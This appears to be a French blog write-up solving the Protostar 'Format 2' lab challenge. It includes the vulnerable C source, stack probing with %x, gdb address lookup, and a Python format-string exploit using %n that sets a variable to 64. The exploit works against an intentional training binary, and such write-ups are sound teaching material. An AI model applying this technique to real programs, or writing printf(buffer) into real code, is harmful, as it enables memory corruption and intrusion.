Protostar – Format 2

Bonjour,

Aujourd’hui nous allons nous attaquer au challenge Format 2 de la VM Protostar ( https://exploit-exercises.com/protostar/format2/ )

Voici le code source du binaire à exploiter :

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);
  
  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}
Format2.c

comme vous pouvez le voir, le but de ce challenge est d’afficher « you have modified the target 🙂 » en changeant la valeur de la variable target par 64.

Essayons tout d’abord de récupérer l’adresse AAAAA  :

user@protostar:/opt/protostar/bin$ ./format2 
AAAA-%x-%x-%x-%x-%x-%x-%x-%x
AAAA-200-b7fd8420-bffff614-41414141-2d78252d-252d7825-78252d78-2d78252d
target is 0 🙁
user@protostar:/opt/protostar/bin$ ./format2 
AAAA-%4$x
AAAA-41414141
target is 0 🙁

Nous voyons qu’ils faut écrire 4 fois %x pour récupérer l’adresse AAAA entrée.

Maintenant il faut trouver l’adresse à laquelle écrire quelque chose, c’est l’adresse de target, on la récupère avec gdb :

(gdb) p &target
$1 = (int *) 0x80496e4

 

Maintenant écrivons un petit script python pour tester plus efficacement nos exploits :


import struct

TARGET = 0x80496e4

def pad(s):
        return s+"X"*(512-len(s))


exploit = struct.pack("I",TARGET)
exploit += "-"*1
exploit += "%4$n"

print(pad(exploit))                                                    
exploit.py

Essayons notre exploit, il devrait écrire quelque chose dans la variable target grâce au %x qu’on a transformé en %n qui ne lit pas mais écris, cette variable ne devrait plus être à 0.

user@protostar:/opt/protostar/bin$ python /tmp/exploit_format2.py | ./format2 
��-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXtarget is 5 🙁

 

Ça fonctionne , on peut voir que la variable target à pour valeur le nombre 5.

Il faut maintenant ecrire plus de caractere pour arriver à la valeur 64 .

64 – 5 = 59

il faut donc rajouter 59 catactère donc on remplace le *1 par *60 :

import struct

TARGET = 0x80496e4

def pad(s):
        return s+"X"*(512-len(s))+"\n"

exploit = struct.pack("I",TARGET)
exploit += "-"*60
exploit += "%4$n"

print(pad(exploit))
exploit.py

 

Il nous reste plus qu’à lancer notre exploit :

user@protostar:/opt/protostar/bin$ python /tmp/exploit_format2.py | ./format2 
��------------------------------------------------------------XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
you have modified the target 🙂

Voilà , le message est bien affiché , challenge réussi !

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.